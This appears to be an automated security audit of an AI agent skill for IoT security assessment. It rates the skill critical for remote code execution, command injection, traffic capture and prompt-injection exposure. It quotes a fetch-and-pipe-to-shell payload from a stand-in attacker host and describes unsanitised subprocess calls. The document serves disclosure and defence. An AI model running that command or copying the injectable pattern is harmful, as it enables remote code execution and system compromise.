skills/mukul975/anthropic-cybersecurity-skills/performing-iot-security-assessment/Gen Agent Trust Hub
performing-iot-security-assessment
Fail
Audited by Gen Agent Trust Hub on Apr 21, 2026
Risk Level: CRITICALREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDATA_EXFILTRATION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The
SKILL.mdfile contains an explicit payload example; wget http://attacker.com/shell.sh | shwithin a security scenario description. This pattern represents a direct piped execution of a remote script from an untrusted source. - [COMMAND_EXECUTION]: The Python script
scripts/agent.pymakes extensive use of thesubprocess.run()function to execute system tools includingnmap,curl,binwalk,tcpdump, andopenssl. User-supplied parameters such astarget_ip,output_dir, andfirmware_pathare interpolated directly into shell commands without validation or sanitization, which allows for arbitrary command injection if an attacker can influence these inputs. - [DATA_EXFILTRATION]: The
capture_trafficmethod inscripts/agent.pyutilizestcpdumpto capture host-specific network traffic. While intended for security analysis, this capability can be abused to capture and expose sensitive network communications. - [INDIRECT_PROMPT_INJECTION]: The skill processes untrusted external data (firmware images) and its documentation contains actionable exploit strings.
- Ingestion points: Firmware images provided by users and extracted filesystem content are processed by the agent.
- Boundary markers: None observed; the agent processes findings and prints them directly to the console/JSON reports.
- Capability inventory: The skill has significant capabilities including network scanning, file system writes, and traffic capture via
subprocesscalls inscripts/agent.py. - Sanitization: There is no evidence of sanitization for paths or IP addresses before they are used in shell commands.
Recommendations
- HIGH: Downloads and executes remote code from: http://attacker.com/shell.sh - DO NOT USE without thorough review
- AI detected serious security threats
Audit Metadata